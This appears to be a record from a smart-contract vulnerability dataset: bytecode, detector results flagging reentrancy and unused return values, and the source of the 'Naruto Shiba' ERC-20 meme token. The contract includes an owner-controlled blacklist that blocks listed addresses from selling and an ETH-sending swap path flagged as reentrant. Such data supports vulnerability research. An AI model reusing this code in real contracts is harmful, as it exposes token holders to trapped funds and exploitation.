fffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d1816124bd565b6122db848361257a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233891906128bb565b60405180910390a3505050505050505050565b600080600060085490506000681043561a88293000009050612381681043561a8829300000600854611d4590919063ffffffff16565b8210156123a057600854681043561a88293000009350935050506123a9565b81819350935050505b9091565b60008060008060008060008060006123ca8a600a54600b546125b4565b92509250925060006123da612155565b905060008060006123ed8e87878761264a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c67565b905092915050565b600080828461246e91906132b6565b9050838110156124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa906136ee565b60405180910390fd5b8091505092915050565b60006124c7612155565b905060006124de8284611ccb90919063ffffffff16565b905061253281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61258f8260085461241590919063ffffffff16565b6008819055506125aa8160095461245f90919063ffffffff16565b6009819055505050565b6000806000806125e060646125d2888a611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061260a60646125fc888b611ccb90919063ffffffff16565b611d4590919063ffffffff16565b9050600061263382612625858c61241590919063ffffffff16565b61241590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126638589611ccb90919063ffffffff16565b9050600061267a8689611ccb90919063ffffffff16565b905060006126918789611ccb90919063ffffffff16565b905060006126ba826126ac858761241590919063ffffffff16565b61241590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270d5780820151818401526020810190506126f2565b8381111561271c576000848401525b50505050565b6000601f19601f8301169050919050565b600061273e826126d3565b61274881856126de565b93506127588185602086016126ef565b61276181612722565b840191505092915050565b600060208201905081810360008301526127868184612733565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cd826127a2565b9050919050565b6127dd816127c2565b81146127e857600080fd5b50565b6000813590506127fa816127d4565b92915050565b6000819050919050565b61281381612800565b811461281e57600080fd5b50565b6000813590506128308161280a565b92915050565b6000806040838503121561284d5761284c612798565b5b600061285b858286016127eb565b925050602061286c85828601612821565b9150509250929050565b60008115159050919050565b61288b81612876565b82525050565b60006020820190506128a66000830184612882565b92915050565b6128b581612800565b82525050565b60006020820190506128d060008301846128ac565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291382612722565b810181811067ffffffffffffffff82111715612932576129316128db565b5b80604052505050565b600061294561278e565b9050612951828261290a565b919050565b600067ffffffffffffffff821115612971576129706128db565b5b602082029050602081019050919050565b600080fd5b600061299a61299584612956565b61293b565b905080838252602082019050602084028301858111156129bd576129bc612982565b5b835b818110156129e657806129d288826127eb565b8452602084019350506020810190506129bf565b5050509392505050565b600082601f830112612a0557612a046128d6565b5b8135612a15848260208601612987565b91505092915050565b600060208284031215612a3457612a33612798565b5b600082013567ffffffffffffffff811115612a5257612a5161279d565b5b612a5e848285016129f0565b91505092915050565b600080600060608486031215612a8057612a7f612798565b5b6000612a8e868287016127eb565b9350506020612a9f868287016127eb565b9250506040612ab086828701612821565b9150509250925092565b600060208284031215612ad057612acf612798565b5b6000612ade848285016127eb565b91505092915050565b600060ff82169050919050565b612afd81612ae7565b82525050565b6000602082019050612b186000830184612af4565b92915050565b612b2781612876565b8114612b3257600080fd5b50565b600081359050612b4481612b1e565b92915050565b600060208284031215612b6057612b5f612798565b5b6000612b6e84828501612b35565b91505092915050565b600060208284031215612b8d57612b8c612798565b5b6000612b9b84828501612821565b91505092915050565b612bad816127c2565b82525050565b6000602082019050612bc86000830184612ba4565b92915050565b60008060408385031215612be557612be4612798565b5b6000612bf3858286016127eb565b9250506020612c04858286016127eb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c446020836126de565b9150612c4f82612c0e565b602082019050919050565b60006020820190508181036000830152612c7381612c37565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce382612800565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1557612d14612ca9565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d566017836126de565b9150612d6182612d20565b602082019050919050565b60006020820190508181036000830152612d8581612d49565b9050919050565b600081519050612d9b816127d4565b92915050565b600060208284031215612db757612db6612798565b5b6000612dc584828501612d8c565b91505092915050565b6000604082019050612de36000830185612ba4565b612df06020830184612ba4565b9392505050565b6000819050919050565b6000819050919050565b6000612e26612e21612e1c84612df7565b612e01565b612800565b9050919050565b612e3681612e0b565b82525050565b600060c082019050612e516000830189612ba4565b612e5e60208301886128ac565b612e6b6040830187612e2d565b612e786060830186612e2d565b612e856080830185612ba4565b612e9260a08301846128ac565b979650505050505050565b600081519050612eac8161280a565b92915050565b600080600060608486031215612ecb57612eca612798565b5b6000612ed986828701612e9d565b9350506020612eea86828701612e9d565b9250506040612efb86828701612e9d565b9150509250925092565b6000604082019050612f1a6000830185612ba4565b612f2760208301846128ac565b9392505050565b600081519050612f3d81612b1e565b92915050565b600060208284031215612f5957612f58612798565b5b6000612f6784828501612f2e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fcc6024836126de565b9150612fd782612f70565b604082019050919050565b60006020820190508181036000830152612ffb81612fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061305e6022836126de565b915061306982613002565b604082019050919050565b6000602082019050818103600083015261308d81613051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f06025836126de565b91506130fb82613094565b604082019050919050565b6000602082019050818103600083015261311f816130e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131826023836126de565b915061318d82613126565b604082019050919050565b600060208201905081810360008301526131b181613175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132146029836126de565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132806019836126de565b915061328b8261324a565b602082019050919050565b600060208201905081810360008301526132af81613273565b9050919050565b60006132c182612800565b91506132cc83612800565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330157613300612ca9565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613342601a836126de565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b600061338382612800565b915061338e83612800565b9250828210156133a1576133a0612ca9565b5b828203905092915050565b60006133b782612800565b91506133c283612800565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fb576133fa612ca9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344082612800565b915061344b83612800565b92508261345b5761345a613406565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c26021836126de565b91506134cd82613466565b604082019050919050565b600060208201905081810360008301526134f1816134b5565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613554602a836126de565b915061355f826134f8565b604082019050919050565b6000602082019050818103600083015261358381613547565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135bf816127c2565b82525050565b60006135d183836135b6565b60208301905092915050565b6000602082019050919050565b60006135f58261358a565b6135ff8185613595565b935061360a836135a6565b8060005b8381101561363b57815161362288826135c5565b975061362d836135dd565b92505060018101905061360e565b5085935050505092915050565b600060a08201905061365d60008301886128ac565b61366a6020830187612e2d565b818103604083015261367c81866135ea565b905061368b6060830185612ba4565b61369860808301846128ac565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136d8601b836126de565b91506136e3826136a2565b602082019050919050565b60006020820190508181036000830152613707816136cb565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f07fe4ae7c062c4461915a315891ccc6878cadb7b8e2e513b647fe11d1b6c47664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,081
0x745f352631726e2e96acaf2623676d5661e36323
/** *Submitted for verification at Etherscan.io on 2022-04-12 */ // SPDX-License-Identifier: UNLICENSE /** 🍀🍀 TG: https://t.me/NarutoShiba BuyTax: 4% SellTax: 6% MaxBuy : 2% (20,000) Supply: 1,000,000 🍀 🍀 Naruto Shiba Stealth Launch Erc20 🍀 🍀 🍀 Uzumaki Naruto Dattebayo! SASUKEEEE 🍀 We are bringing back the Anime hyped tokens to ERC starting with our OG CLASSIC FAVOURITE NARUTO DOGEEEE🍀 We are a community driven token that will pave the way for a successful Anime DAO! **/ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NarutoShiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Naruto Shiba"; string private constant _symbol = "NarutoShiba"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _maxTxAmount = _tTotal.div(50); emit Transfer(address(_msgSender()), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 4; _feeAddr2 = 6; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(tradingOpen); } if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]&&to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _feeAddr1 = 4; _feeAddr2 = 6; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function increaseMaxTx(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function addSwap() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function addLiq() external onlyOwner{ uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function enableTrading() external onlyOwner{ tradingOpen = true; } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80637d1db4a5116100ab578063a9059cbb1161006f578063a9059cbb14610339578063b515566a14610359578063c3c8cd8014610379578063d91a21a61461038e578063dd62ed3e146103ae578063e9e1831a146103f457600080fd5b80637d1db4a51461029d5780638a259e6c146102b35780638a8c523c146102c85780638da5cb5b146102dd57806395d89b411461030557600080fd5b8063313ce567116100f2578063313ce567146102175780635932ead1146102335780636fc3eaec1461025357806370a0823114610268578063715018a61461028857600080fd5b806306fdde031461013a578063095ea7b31461018157806318160ddd146101b157806323b872dd146101d5578063273123b7146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600c81526b4e617275746f20536869626160a01b60208201525b604051610178919061162c565b60405180910390f35b34801561018d57600080fd5b506101a161019c3660046116a6565b610409565b6040519015158152602001610178565b3480156101bd57600080fd5b5066038d7ea4c680005b604051908152602001610178565b3480156101e157600080fd5b506101a16101f03660046116d2565b610420565b34801561020157600080fd5b50610215610210366004611713565b610489565b005b34801561022357600080fd5b5060405160098152602001610178565b34801561023f57600080fd5b5061021561024e36600461173e565b6104dd565b34801561025f57600080fd5b50610215610525565b34801561027457600080fd5b506101c7610283366004611713565b610532565b34801561029457600080fd5b50610215610554565b3480156102a957600080fd5b506101c7600f5481565b3480156102bf57600080fd5b506102156105c8565b3480156102d457600080fd5b50610215610794565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610178565b34801561031157600080fd5b5060408051808201909152600b81526a4e617275746f536869626160a81b602082015261016b565b34801561034557600080fd5b506101a16103543660046116a6565b6107d3565b34801561036557600080fd5b50610215610374366004611771565b6107e0565b34801561038557600080fd5b50610215610934565b34801561039a57600080fd5b506102156103a9366004611836565b61094a565b3480156103ba57600080fd5b506101c76103c936600461184f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040057600080fd5b506102156109a3565b6000610416338484610b65565b5060015b92915050565b600061042d848484610c89565b61047f843361047a85604051806060016040528060288152602001611a4c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fa3565b610b65565b5060019392505050565b6000546001600160a01b031633146104bc5760405162461bcd60e51b81526004016104b390611888565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105075760405162461bcd60e51b81526004016104b390611888565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b4761052f81610fdd565b50565b6001600160a01b03811660009081526002602052604081205461041a90611017565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016104b390611888565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016104b390611888565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561062d308266038d7ea4c68000610b65565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068f91906118bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070091906118bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561074d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077191906118bd565b600e80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b031633146107be5760405162461bcd60e51b81526004016104b390611888565b600e805460ff60a01b1916600160a01b179055565b6000610416338484610c89565b6000546001600160a01b0316331461080a5760405162461bcd60e51b81526004016104b390611888565b60005b815181101561093057600d5482516001600160a01b0390911690839083908110610839576108396118da565b60200260200101516001600160a01b03161415801561088a5750600e5482516001600160a01b0390911690839083908110610876576108766118da565b60200260200101516001600160a01b031614155b80156108c15750306001600160a01b03168282815181106108ad576108ad6118da565b60200260200101516001600160a01b031614155b1561091e576001600660008484815181106108de576108de6118da565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061092881611906565b91505061080d565b5050565b600061093f30610532565b905061052f81611094565b6000546001600160a01b031633146109745760405162461bcd60e51b81526004016104b390611888565b6000811161098157600080fd5b61099d606461099766038d7ea4c680008461120e565b90610b1c565b600f5550565b6000546001600160a01b031633146109cd5760405162461bcd60e51b81526004016104b390611888565b600d546001600160a01b031663f305d71947306109e981610532565b6000806109fe6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a66573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8b919061191f565b5050600e805461ffff60b01b19811661010160b01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052f919061194d565b6000610b5e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611290565b9392505050565b6001600160a01b038316610bc75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b3565b6001600160a01b038216610c285760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ced5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b3565b6001600160a01b038216610d4f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b3565b60008111610db15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b3565b6004600a556006600b556000546001600160a01b03848116911614801590610de757506000546001600160a01b03838116911614155b15610f9357600e546001600160a01b038481169116148015610e175750600d546001600160a01b03838116911614155b8015610e3c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e515750600e54600160b81b900460ff165b15610e7b57600f54811115610e6557600080fd5b600e54600160a01b900460ff16610e7b57600080fd5b600d546001600160a01b03848116911614801590610eb257506001600160a01b03831660009081526005602052604090205460ff16155b8015610ecb5750600e546001600160a01b038381169116145b15610f26576001600160a01b03831660009081526006602052604090205460ff16158015610f1257506001600160a01b03821660009081526006602052604090205460ff16155b610f1b57600080fd5b6004600a556006600b555b6000610f3130610532565b600e54909150600160a81b900460ff16158015610f5c5750600e546001600160a01b03858116911614155b8015610f715750600e54600160b01b900460ff165b15610f9157610f7f81611094565b478015610f8f57610f8f47610fdd565b505b505b610f9e8383836112be565b505050565b60008184841115610fc75760405162461bcd60e51b81526004016104b3919061162c565b506000610fd4848661196a565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610930573d6000803e3d6000fd5b600060085482111561107e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104b3565b60006110886112c9565b9050610b5e8382610b1c565b600e805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110dc576110dc6118da565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611135573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115991906118bd565b8160018151811061116c5761116c6118da565b6001600160a01b039283166020918202929092010152600d546111929130911684610b65565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111cb908590600090869030904290600401611981565b600060405180830381600087803b1580156111e557600080fd5b505af11580156111f9573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6000826000036112205750600061041a565b600061122c83856119f2565b9050826112398583611a11565b14610b5e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104b3565b600081836112b15760405162461bcd60e51b81526004016104b3919061162c565b506000610fd48486611a11565b610f9e8383836112ec565b60008060006112d66113e3565b90925090506112e58282610b1c565b9250505090565b6000806000806000806112fe87611421565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611330908761147e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135f90866114c0565b6001600160a01b0389166000908152600260205260409020556113818161151f565b61138b8483611569565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113d091815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006113fd8282610b1c565b8210156114185750506008549266038d7ea4c6800092509050565b90939092509050565b600080600080600080600080600061143e8a600a54600b5461158d565b925092509250600061144e6112c9565b905060008060006114618e8787876115dc565b919e509c509a509598509396509194505050505091939550919395565b6000610b5e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa3565b6000806114cd8385611a33565b905083811015610b5e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b3565b60006115296112c9565b90506000611537838361120e565b3060009081526002602052604090205490915061155490826114c0565b30600090815260026020526040902055505050565b600854611576908361147e565b60085560095461158690826114c0565b6009555050565b60008080806115a16064610997898961120e565b905060006115b460646109978a8961120e565b905060006115cc826115c68b8661147e565b9061147e565b9992985090965090945050505050565b60008080806115eb888661120e565b905060006115f9888761120e565b90506000611607888861120e565b90506000611619826115c6868661147e565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156116595785810183015185820160400152820161163d565b8181111561166b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052f57600080fd5b80356116a181611681565b919050565b600080604083850312156116b957600080fd5b82356116c481611681565b946020939093013593505050565b6000806000606084860312156116e757600080fd5b83356116f281611681565b9250602084013561170281611681565b929592945050506040919091013590565b60006020828403121561172557600080fd5b8135610b5e81611681565b801515811461052f57600080fd5b60006020828403121561175057600080fd5b8135610b5e81611730565b634